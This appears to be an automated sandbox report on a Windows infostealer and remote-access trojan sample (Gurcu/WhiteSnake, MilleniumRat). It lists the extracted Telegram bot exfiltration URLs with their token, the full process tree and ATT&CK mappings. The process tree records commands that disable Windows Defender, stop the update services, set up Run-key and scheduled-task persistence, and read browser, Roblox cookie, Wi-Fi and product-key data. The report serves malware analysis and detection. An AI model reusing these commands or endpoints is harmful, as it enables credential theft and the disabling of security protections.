Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
02/07/2024, 01:16
General
- Target main.exe
- Size 35.6MB
- Sample240702-bmssts1dnh
- SHA256 93341fb506d134736812210a468ee360682c0b11290587cbc61245783ba490e3
Malware Config
Extracted
-
gurcu
-
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb
-
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendMessage?chat_id=-1002245526003
-
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getUpdates?offset=-
-
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%B8Screenshot%20take
Signatures
- Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
- MilleniumRat
MilleniumRat is a remote access trojan written in C#.
- Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Contacts a large (1224) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Stops running service(s) 4 TTPs
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 13 IoCs
- Loads dropped DLL 50 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- UPX packed file 48 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 12 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 4 IoCs
- Drops file in Program Files directory 1 IoCs
- Drops file in Windows directory 2 IoCs
- Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Enumerates processes with tasklist 1 TTPs 4 IoCs
- Enumerates system info in registry 2 TTPs 1 IoCs
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Modifies data under HKEY_USERS 57 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\main.exe"C:\Users\Admin\AppData\Local\Temp\main.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\main.exe"C:\Users\Admin\AppData\Local\Temp\main.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI38882\Build.exe -pbeznogym4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\_MEI38882\Build.exeC:\Users\Admin\AppData\Local\Temp\_MEI38882\Build.exe -pbeznogym5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Microsoft\hacn.exe"C:\ProgramData\Microsoft\hacn.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Microsoft\hacn.exe"C:\ProgramData\Microsoft\hacn.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI20602\s.exe -pbeznogym8⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\_MEI20602\s.exeC:\Users\Admin\AppData\Local\Temp\_MEI20602\s.exe -pbeznogym9⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\main.exe"C:\ProgramData\main.exe"10⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp8CA0.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp8CA0.tmp.bat11⤵
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 1744"12⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\find.exefind ":"12⤵
-
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak12⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"12⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f13⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f14⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
-
-
-
C:\ProgramData\svchost.exe"C:\ProgramData\svchost.exe"10⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\svchost.exe"C:\ProgramData\svchost.exe"11⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"12⤵
-
-
-
-
C:\ProgramData\setup.exe"C:\ProgramData\setup.exe"10⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
-
-
-
-
-
-
C:\ProgramData\Microsoft\based.exe"C:\ProgramData\Microsoft\based.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Microsoft\based.exe"C:\ProgramData\Microsoft\based.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'"8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'9⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend9⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please restart your computer', 0, 'Incognito v2', 0+16);close()""8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Please restart your computer', 0, 'Incognito v2', 0+16);close()"9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'9⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /FO LIST9⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /FO LIST9⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName9⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard9⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"8⤵
-
C:\Windows\system32\tree.comtree /A /F9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"8⤵
-
C:\Windows\system32\netsh.exenetsh wlan show profile9⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"8⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST9⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"8⤵
-
C:\Windows\system32\systeminfo.exesysteminfo9⤵
- Gathers system information
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"8⤵
-
C:\Windows\system32\tree.comtree /A /F9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"8⤵
-
C:\Windows\system32\tree.comtree /A /F9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"8⤵
-
C:\Windows\system32\tree.comtree /A /F9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"8⤵
-
C:\Windows\system32\tree.comtree /A /F9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"8⤵
-
C:\Windows\system32\tree.comtree /A /F9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY9⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY9⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"8⤵
-
C:\Windows\system32\getmac.exegetmac9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI42322\rar.exe a -r -hp"prometheus" "C:\Users\Admin\AppData\Local\Temp\QJ1lz.zip" *"8⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI42322\rar.exeC:\Users\Admin\AppData\Local\Temp\_MEI42322\rar.exe a -r -hp"prometheus" "C:\Users\Admin\AppData\Local\Temp\QJ1lz.zip" *9⤵
- Executes dropped EXE
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"8⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic os get Caption9⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"8⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"8⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"8⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name9⤵
- Detects videocard installed
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault9⤵
-
-
-
-
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"2⤵
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\yntnomxcupkb.xml"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\yntnomxcupkb.xml"2⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
based.exe
hacn.exe
main.exe
setup.exe
svchost.exe
шева.txt
Build.exe
VCRUNTIME140.dll
_bz2.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
